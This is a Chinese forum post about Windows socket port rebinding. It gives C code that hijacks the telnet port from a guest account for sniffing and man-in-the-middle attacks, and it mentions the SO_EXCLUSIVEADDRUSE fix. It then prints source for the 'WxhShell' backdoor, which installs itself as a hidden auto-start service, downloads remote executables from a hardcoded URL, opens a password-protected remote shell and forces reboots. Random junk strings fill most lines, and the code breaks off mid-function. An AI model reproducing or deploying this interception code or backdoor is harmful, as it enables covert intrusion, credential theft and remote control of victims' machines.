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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $\@yH^hL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DeTZl+qm1E  
0yxMIX  
  saddr.sin_family = AF_INET; 6axm H~_  
1f1J'du  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Q atgYu  
N:@C% UW}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q>q@ztt  
tEl4 !v A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {G%!M+n<  
i>[1^~;  
  这意味着什么?意味着可以进行如下的攻击: gaJIc^O  
3f :I<S7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s:/.:e_PU  
-ijQT B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z qg(\  
M_4g%uHG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8EPV\M1%  
^9UF Pij"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B"I> mw  
S!n 9A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =#<hT s  
Zh.fv-Ecp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $0Y&r]'  
#7U,kTj9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (r.{v@h,dV  
5b[:B~J  
  #include ^F~e?^s  
  #include OR^Wd  
  #include DwZt.*  
  #include    v}]x>f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L/GM~*Xp(O  
  int main() ?8(`tS(_?  
  { t{>66jm\R  
  WORD wVersionRequested; As (C8C<  
  DWORD ret; 38Z"9  
  WSADATA wsaData; ZjEO$ ts=@  
  BOOL val; 9,'5~+7  
  SOCKADDR_IN saddr; E!VAA=  
  SOCKADDR_IN scaddr; (`18W1f5W  
  int err; lrh6lt)  
  SOCKET s; fwAN9zs  
  SOCKET sc; =tH+e7it  
  int caddsize; 1 qUdj[Bj  
  HANDLE mt; B:z-?u#B  
  DWORD tid;   {zUc*9  
  wVersionRequested = MAKEWORD( 2, 2 ); ja7Z v[  
  err = WSAStartup( wVersionRequested, &wsaData ); }C7tlA8,7  
  if ( err != 0 ) { Bw*z4qb{yH  
  printf("error!WSAStartup failed!\n"); uU.9*B=H9  
  return -1; 2,&lGyV#  
  } 45j+n.9=  
  saddr.sin_family = AF_INET; =b%J@}m`&  
   :/%Vpdd@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Hs=!.tZ,  
sp**Sg)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kM3BP& 3m1  
  saddr.sin_port = htons(23); B@zJ\Ir[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yekIw  
  { fe37T@  
  printf("error!socket failed!\n"); [k'Ph33c  
  return -1; rpEFyHorJ  
  } G<jpJ  
  val = TRUE; XFu@XUk!K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -;P<Q`{I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \;7DS:d@  
  { _f3A6ER`  
  printf("error!setsockopt failed!\n"); LDBR4@V  
  return -1; YRp\#pVnZ  
  } 7-o=E=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WQ5sC[&   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BRD'5 1]|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q5,@ P?  
z)VIbEy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [QZ~~(R  
  { ^CK)q2K>[  
  ret=GetLastError(); !7xp<=  
  printf("error!bind failed!\n"); 7 $9fGo  
  return -1; ~o/^=:*  
  } 99ha /t  
  listen(s,2); g Go  
  while(1) :):Y6)giBD  
  { b(SV_.4,'  
  caddsize = sizeof(scaddr); f <w*l<@  
  //接受连接请求 T) ,:8/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1=;QWb6  
  if(sc!=INVALID_SOCKET) kQ#eWk J,  
  { p_z"Uwp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?UfZVyHv+  
  if(mt==NULL) "q`%d_  
  { ^mum5j  
  printf("Thread Creat Failed!\n"); *b)b#p  
  break; wFJK!9KA8  
  } yX-xVvlv@  
  } OpL 6Y+<  
  CloseHandle(mt); '.K,EM!-~h  
  } %b{!9-n}  
  closesocket(s); I)Lb"  
  WSACleanup(); *SY4lqN  
  return 0; zl:D|h77  
  }   v)d0MxSC  
  DWORD WINAPI ClientThread(LPVOID lpParam) d_,tXV"z&  
  { *(`.h\+  
  SOCKET ss = (SOCKET)lpParam; =N{eiJ.(p  
  SOCKET sc; x5|v# -F ^  
  unsigned char buf[4096]; )j6>b-H   
  SOCKADDR_IN saddr; |f:d72{Qr  
  long num; 3E ZwF  
  DWORD val; ?8,N4T0)  
  DWORD ret; V[I<9xaE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yo.SPd="Vx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }}1/Ede{5  
  saddr.sin_family = AF_INET; &JlR70gdHi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o3yqG#dA  
  saddr.sin_port = htons(23); "?{yVu~9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7:L~n(QpP  
  { '&QT}B  
  printf("error!socket failed!\n"); 8e@JvAaa$  
  return -1; 0w['jh|,  
  } z{g<y^Im+E  
  val = 100; G zXP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FqsjuU@l  
  { M0zD)@  
  ret = GetLastError(); \z`d}\3( R  
  return -1; N ]7a=  
  } 'c[LTpn4=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +7/*y}.U  
  { 62x< rph  
  ret = GetLastError(); 9(F?|bfk  
  return -1; sYA-FO3gh  
  } <u?hdwW \  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i 9tJHeSm  
  { Zax]i,Bx  
  printf("error!socket connect failed!\n"); W>s'4C`  
  closesocket(sc); $l;tP  
  closesocket(ss); IVzA>Vd  
  return -1; I A`8ie+  
  } wmr%h q  
  while(1) &&nO]p`  
  { O|&TL9:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]GtR8w@w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !;aC9VhSU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g**% J Xo  
  num = recv(ss,buf,4096,0); 0bxvM  
  if(num>0) M y"!j,Up  
  send(sc,buf,num,0); z){UuiUM+=  
  else if(num==0) cNr][AzU@  
  break; Mto~ /  
  num = recv(sc,buf,4096,0); n{Qh8"  
  if(num>0) sHTePEJ_h  
  send(ss,buf,num,0); Eb[H3v48,  
  else if(num==0) Wx|6A#cg!  
  break; Df,VV+  
  } N"x\YHp  
  closesocket(ss); V=4u7!ha  
  closesocket(sc); :iQ^1S` pH  
  return 0 ; ]t*P5  
  } K@ sP~('  
=E}%>un  
u1|P'>;lF  
========================================================== _ K+V?-=  
~sHZh  
下边附上一个代码,,WXhSHELL F}B/-".^  
G2+)R^FSC  
========================================================== fpK0MS]=b  
Sp~Gv>uMK  
#include "stdafx.h" 9 QCpXy  
.FbZVYc]  
#include <stdio.h> SeZT4y*=  
#include <string.h> (_&V9vat=  
#include <windows.h> WQLHjGehe  
#include <winsock2.h> N]s7/s  
#include <winsvc.h> qgC-@I  
#include <urlmon.h> %AEK[W+0  
;vv!qBl|@  
#pragma comment (lib, "Ws2_32.lib") M*~v'L_sI  
#pragma comment (lib, "urlmon.lib") ;c m wh<  
kJvy<(iG  
#define MAX_USER   100 // 最大客户端连接数 b?2X>QJ  
#define BUF_SOCK   200 // sock buffer gKs/T'PW  
#define KEY_BUFF   255 // 输入 buffer AeY$.b  
Y0L5W;iM  
#define REBOOT     0   // 重启 3dX=xuQ%/  
#define SHUTDOWN   1   // 关机 tgvpf /cQ  
] EVe@  
#define DEF_PORT   5000 // 监听端口 5<)gCHa  
WJY4>7}{B@  
#define REG_LEN     16   // 注册表键长度 wKi}@|0[@  
#define SVC_LEN     80   // NT服务名长度 Y( V3P nH  
pRrqs+IJZ\  
// 从dll定义API ;vI*ThzdD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =!g/2;-or  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fNAo$O4cm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  $||ns@F+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u1pc5 Y{  
ET,0ux9F  
// wxhshell配置信息 X@ bn??  
struct WSCFG { ;o_V!< $  
  int ws_port;         // 监听端口 (DG@<K,6  
  char ws_passstr[REG_LEN]; // 口令 n?ZL"!$  
  int ws_autoins;       // 安装标记, 1=yes 0=no h+B'_ `(  
  char ws_regname[REG_LEN]; // 注册表键名 yUD_ w  
  char ws_svcname[REG_LEN]; // 服务名 7z/(V\9B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +3/k/W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oeu|/\+HW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y~== waZw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {?@t/.4[W3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +7i7`'9pd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &J lpA<^s;  
F_Z&-+,*3t  
}; !"`@sd~  
7x[LF ^o  
// default Wxhshell configuration []A"]p  
struct WSCFG wscfg={DEF_PORT, .])>A')r  
    "xuhuanlingzhe", Qq,i  
    1, 2~G,Ia  
    "Wxhshell", 9*}iBs  
    "Wxhshell", O8K@&V p  
            "WxhShell Service", Sk6b`W7$  
    "Wrsky Windows CmdShell Service", toS(UM n  
    "Please Input Your Password: ", =~GE?}.o  
  1, /~o7Q$)-b  
  "http://www.wrsky.com/wxhshell.exe", F\-B3i%0  
  "Wxhshell.exe" #dva0%-1  
    }; LJRg>8  
Fb<n0[m  
// 消息定义模块 ~q0I7M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F[>7z3I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $$haVY&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ujce |>Wn  
char *msg_ws_ext="\n\rExit."; @k=cN>ZMc  
char *msg_ws_end="\n\rQuit."; l^DINZU@  
char *msg_ws_boot="\n\rReboot..."; ,vY)n6  
char *msg_ws_poff="\n\rShutdown..."; |A ;o0pL  
char *msg_ws_down="\n\rSave to "; P'a0CE%  
Q)x?B]b-  
char *msg_ws_err="\n\rErr!"; Uj4Lu  
char *msg_ws_ok="\n\rOK!"; e$CePLEj  
I#"t'=9H  
char ExeFile[MAX_PATH]; eq^TA1>T  
int nUser = 0; jP1$qhp  
HANDLE handles[MAX_USER]; 6-mmi7IfO  
int OsIsNt; VK@$JwdL  
u9TzZ  
SERVICE_STATUS       serviceStatus; |0tg:\.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hu<p?mF#  
 Sa%zre@  
// 函数声明 k/df(cs  
int Install(void); {F'Az1^I=  
int Uninstall(void); Dc5bkm  
int DownloadFile(char *sURL, SOCKET wsh); }X=87ud  
int Boot(int flag); S3SV.C:z>  
void HideProc(void); g(m xhD!k  
int GetOsVer(void); ./#e1m?.  
int Wxhshell(SOCKET wsl); fJX\'Rc\  
void TalkWithClient(void *cs); Hl4\M]]/&  
int CmdShell(SOCKET sock); `'u Umyg  
int StartFromService(void); N*~_\x  
int StartWxhshell(LPSTR lpCmdLine); #MUiL=  
} <SNO)h3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3@&bxYXm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p?;-!TUv  
4py(R-8\  
// 数据结构和表定义 6MuWlCKF8  
SERVICE_TABLE_ENTRY DispatchTable[] = pFpZbU^  
{ Kaf>  
{wscfg.ws_svcname, NTServiceMain}, K>kLUcC7Z  
{NULL, NULL} lY.B  
}; sYI~dU2H  
.AXdo'&2i  
// 自我安装 Y[Es  
int Install(void) M:_!w[NiLp  
{ qh-[L  
  char svExeFile[MAX_PATH]; o w2$o\hC  
  HKEY key; BjiYv}J  
  strcpy(svExeFile,ExeFile); wy''tqg6  
Rv vh{U;t  
// 如果是win9x系统,修改注册表设为自启动 yIOLs}!SF  
if(!OsIsNt) { _ENuwBYW-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ |aNG`|O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); va5FxF*%  
  RegCloseKey(key); VpSEVd:n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PRD_!VOW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PPa^o8jd  
  RegCloseKey(key); k,rWa  
  return 0; k5@d! }#c  
    } 2Pp&d>E4  
  } {rC~ P  
} ?vu_k 'io  
else { . |uLt J  
a=+T95ulDy  
// 如果是NT以上系统,安装为系统服务 _R7 w?!t8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1kmQX+f  
if (schSCManager!=0) =OYQM<q  
{ VFO \4:.  
  SC_HANDLE schService = CreateService !9r:&n.\  
  ( F6W}mMZH/N  
  schSCManager, 0KAj]5nvb  
  wscfg.ws_svcname, Pdw#o^Iq^  
  wscfg.ws_svcdisp, iITp**l  
  SERVICE_ALL_ACCESS, "!H@k%eAM|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Q_x/+-  
  SERVICE_AUTO_START, )p8I @E  
  SERVICE_ERROR_NORMAL, pUCK-rL  
  svExeFile, -#?<05/C>  
  NULL, dn,gZ"<  
  NULL, ?z/Vgk+9|  
  NULL, K)S;:MLG=  
  NULL, t};~H\:  
  NULL =Ikg.jYq&F  
  ); D|_V<'  
  if (schService!=0) ([ dT!B#aH  
  { @Z;1 g  
  CloseServiceHandle(schService); Y-p<qL|_  
  CloseServiceHandle(schSCManager); q* !3C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ue$zH"w  
  strcat(svExeFile,wscfg.ws_svcname); #U=;T]!'$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n.hElgkUOr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :eOR-}p'  
  RegCloseKey(key); &Y7C0v  
  return 0; Yv )aAWEa  
    } MJ\[Dt  
  } NQ9Ojj{#  
  CloseServiceHandle(schSCManager); ~]WVG@-  
} ;=jr0\|e  
} 5HlWfD  
IfV  3fJ7  
return 1; q0O&UE)6Y  
} 0JY WrPR  
@Bs0Avj.  
// 自我卸载 dDtFx2(R  
int Uninstall(void) GXX+}=b7qO  
{ 5Qa zHlJ  
  HKEY key; (j&A",^^S  
!gP0ndRJ=  
if(!OsIsNt) { S>Z|) I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Owf.f;QR  
  RegDeleteValue(key,wscfg.ws_regname); t FgX\4  
  RegCloseKey(key); $%2H6Eg0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ml u 3K  
  RegDeleteValue(key,wscfg.ws_regname); H?yE3 w  
  RegCloseKey(key); hI|)u4q  
  return 0; cA;js;x@  
  } A6UO0lyu  
} mBk5+KyT  
} ohQAA h  
else { oq;'eM1,.  
`UzVS>]l[+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UUtbD&\  
if (schSCManager!=0) {G*QY%j^  
{ "uD= KlA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rZwB> c  
  if (schService!=0) E9 Y\X  
  { gPEqjj  
  if(DeleteService(schService)!=0) { Jb(Y,LO^  
  CloseServiceHandle(schService); |4b)>8TL/  
  CloseServiceHandle(schSCManager); '2^ Yw  
  return 0; #y; yN7W  
  } |3eGz%Sd  
  CloseServiceHandle(schService); +,flE= 5]s  
  } '$m7ft}  
  CloseServiceHandle(schSCManager); 7_\Mwy{P  
} \7Cg,Xn  
} O\beKBT;  
H\G{3.T.9  
return 1; uV]ULm#,i  
} [Ot,q/hBJ  
n9hm790x-  
// 从指定url下载文件 RKkGITDk  
int DownloadFile(char *sURL, SOCKET wsh) ]~c+'E`  
{ %c/^_.  
  HRESULT hr; =@r--E  
char seps[]= "/"; @Hjea1@t  
char *token; R>)MiHcCg  
char *file; ffcLuXa  
char myURL[MAX_PATH]; (M t5P  
char myFILE[MAX_PATH]; ]]uHM}l  
Q~,YbZ-7  
strcpy(myURL,sURL); E5G{B'%j  
  token=strtok(myURL,seps); }Uw#f@Wh  
  while(token!=NULL) e%6{ME 3  
  { UTk r.T+2X  
    file=token; lrEj/"M  
  token=strtok(NULL,seps); /Jlv"R 1,  
  } pR$6,Vi  
TT}]wZ  
GetCurrentDirectory(MAX_PATH,myFILE); +]!lS7nsW  
strcat(myFILE, "\\"); d#_m.j  
strcat(myFILE, file); Plo,XU  
  send(wsh,myFILE,strlen(myFILE),0); s: |M].  
send(wsh,"...",3,0); G*n2Ii  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mh` |=M]8E  
  if(hr==S_OK) vA&Vu"}S  
return 0; l I-p_K  
else I3y9:4  
return 1; Z`_.x &Y  
B@K[3  
} q~Jq/E"f  
}STYG`  
// 系统电源模块 T[uDZYx  
int Boot(int flag) 9O98Q6-s  
{ H%i>L?J2/  
  HANDLE hToken; 4u1KF:g  
  TOKEN_PRIVILEGES tkp; >- Bg%J9  
t&RruwN_;  
  if(OsIsNt) { /9hR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E`D%PEps+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q< *8<Oo4g  
    tkp.PrivilegeCount = 1; 's%q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (xT*LF+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;A#~` P  
if(flag==REBOOT) { =!0I_L/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HD-Erop  
  return 0; Y E1Hpeb  
} T@ 48qg  
else { $99R|^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JLm @Ag  
  return 0; F[E? A95W  
} t_c?Wp~tH  
  } 1y[B[\  
  else { AU{:;%.g  
if(flag==REBOOT) { }T(z4P3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bhg}-dto  
  return 0; |nxdB&1n  
} T9jw X:n  
else { Y1\K;;X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w~@[ r4W  
  return 0; Zf:]Gq1  
} `wO}Hz  
} OyVm(%Z   
\ P/W8{  
return 1; T\sNtdF`:  
} ElR)Gd_8  
BQNp$]5s  
// win9x进程隐藏模块 .Ff_s  
void HideProc(void) H5M#q6`H6  
{ 6 =>G#  
^.HWkS`e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -2*>`,Uu  
  if ( hKernel != NULL ) %z)EO9vtr  
  { GU6 qIz|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jnBC;I[:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (!</%^ZI  
    FreeLibrary(hKernel); Zu#<  
  } uiMIz?+  
,wK 1=7  
return; Eo=HNe  
} ]|LgVXEpx  
p24.bLr  
// 获取操作系统版本 8/q*o>[?  
int GetOsVer(void) yazZw}};  
{ 4iBxPo(0  
  OSVERSIONINFO winfo; ?5~!i9pY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VGJDqm!  
  GetVersionEx(&winfo); gWu"91Y0>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T`Hw49  
  return 1; 5 ,ZRP'oI  
  else Oz>io\P94  
  return 0; Q8Te'1Ln!  
} \=g!$  
yJJ8 "s~i  
// 客户端句柄模块 #W5Yw>$  
int Wxhshell(SOCKET wsl) CWMlZ VG  
{ z7q%,yw3N  
  SOCKET wsh; =|JKu'  
  struct sockaddr_in client; L>:FGNf^H  
  DWORD myID; +Ag#B*   
Sf/W9Jw  
  while(nUser<MAX_USER) sZm^&h;  
{ ?h&l tD  
  int nSize=sizeof(client); llqDT-cp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q]l\`/R%u  
  if(wsh==INVALID_SOCKET) return 1; g& >m P?  
4 Q&mC"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? ,V;f2c  
if(handles[nUser]==0) ^Kum%<[i  
  closesocket(wsh); Cha?7F[xL  
else Esa6hU#  
  nUser++; cJV!> 0ua  
  } -;S3|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2dyxKK!\a  
l~{T#Q  
  return 0; |{!Ns+'  
} cuNq9y;[  
04[)qPPS  
// 关闭 socket pfNThMf  
void CloseIt(SOCKET wsh) 'F6#l"~/  
{ b@F_7P%  
closesocket(wsh); ]Y$&78u8t  
nUser--; `|NevpXY1  
ExitThread(0); EyPy*_A  
} A7e_w 7?a  
 nFVbQa~  
// 客户端请求句柄 *IVD/9/  
void TalkWithClient(void *cs) GMyoSe%1/  
{ Y~x`6  
Ic_tc  
  SOCKET wsh=(SOCKET)cs; eb(m8vLR  
  char pwd[SVC_LEN]; uk1v7# p  
  char cmd[KEY_BUFF]; C`z;,!58%  
char chr[1]; l.yJA>\24I  
int i,j; B##C{^5A`  
wsna5D6i  
  while (nUser < MAX_USER) { _4!7 zW^  
_{3k+DQ  
if(wscfg.ws_passstr) { 8UlB~fVg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sCL/pb]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sk!v,gx  
  //ZeroMemory(pwd,KEY_BUFF); (#CB q  
      i=0; M_|M&lR>  
  while(i<SVC_LEN) { )3+xsnv  
rZb_1E<  
  // 设置超时 he_HVRpB  
  fd_set FdRead; lu<Np9/5<  
  struct timeval TimeOut; `*|LI  
  FD_ZERO(&FdRead); EgkZ$ah  
  FD_SET(wsh,&FdRead); s= 3EBh  
  TimeOut.tv_sec=8; ^?81.b|qb  
  TimeOut.tv_usec=0; W8\PCXnsfl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /5a$@%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^p'D<!6sK  
Sj,4=a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I67k M{V  
  pwd=chr[0]; }:K\)Pd  
  if(chr[0]==0xd || chr[0]==0xa) { IiYuUN1D  
  pwd=0; ,S7~=S  
  break; DtI%-I.  
  } ]l9,t5Y  
  i++; a3DoLq"/  
    } 38zR\@'j]4  
q[Sp|C6x  
  // 如果是非法用户,关闭 socket Y2ah zB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cf WK6>  
} !>"INmz  
>TH-Q[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * wQZ '  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>#)LHX  
& y 2GQJE  
while(1) { ^5^ zo~^o  
6+{nw}e8  
  ZeroMemory(cmd,KEY_BUFF); ;dpS@;v  
c@"i?  
      // 自动支持客户端 telnet标准   :IOn`mRYu  
  j=0; 10QNV=yK7s  
  while(j<KEY_BUFF) { '/ ]fZ|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ta+"lM7A}$  
  cmd[j]=chr[0]; )BMWC k  
  if(chr[0]==0xa || chr[0]==0xd) { ,<Do ^HB/  
  cmd[j]=0; WZDokSR  
  break; yA`]%U((  
  } =Un6|]  
  j++; Hme@9(zD.  
    } Yg:74; .  
mF$jC:Tb  
  // 下载文件 (p#;6Xhf  
  if(strstr(cmd,"http://")) { 2EI m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B'[3kJ'  
  if(DownloadFile(cmd,wsh)) ?\/dfK:!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dBi3ZC AF  
  else VG*=)8{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9y-zhj_$  
  } 83O^e&Bt  
  else { nk?xNe4  
O(WMTa'%  
    switch(cmd[0]) { 3M>FU4Ug2  
  E]e[Ty1  
  // 帮助 hH@o|!y  
  case '?': { hdNZ":1s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L-oPb)  
    break; bNPjefBF  
  } +~v3D^L15  
  // 安装 3dzqV aV  
  case 'i': { 1(\I9L&J   
    if(Install()) & ,gryBN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'E6gEJ  
    else D;;o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]t!}D6p  
    break; '| Q*~Lh  
    } [3 ;Y:&D  
  // 卸载 G^eFS;  
  case 'r': { 'Q;?_,`  
    if(Uninstall())  "%@=?X8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W0,"V'C  
    else o dQ&0d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yl]Cm?8  
    break; y0y;1N'KK  
    } UOL%tT  
  // 显示 wxhshell 所在路径 o\V4qekk  
  case 'p': { =R8.QBVdN  
    char svExeFile[MAX_PATH]; BtBt>r(*  
    strcpy(svExeFile,"\n\r"); mDt",#g  
      strcat(svExeFile,ExeFile); /JY ph^3][  
        send(wsh,svExeFile,strlen(svExeFile),0); m_O=X8uj"D  
    break; -,CndRKx  
    } l\l]9Z6%  
  // 重启 LRlk9:QD>  
  case 'b': { |\L,r}1N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sy7^;/(ZZ  
    if(Boot(REBOOT)) ^=M(K''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH1c)FI  
    else { Ta5iY }  
    closesocket(wsh); )k<~}wvQ0  
    ExitThread(0); RBojT   
    } \\pyu]z  
    break; !urd $Ta  
    } q9Opa2  
  // 关机 K{|dt W&  
  case 'd': { }[R@HmN   
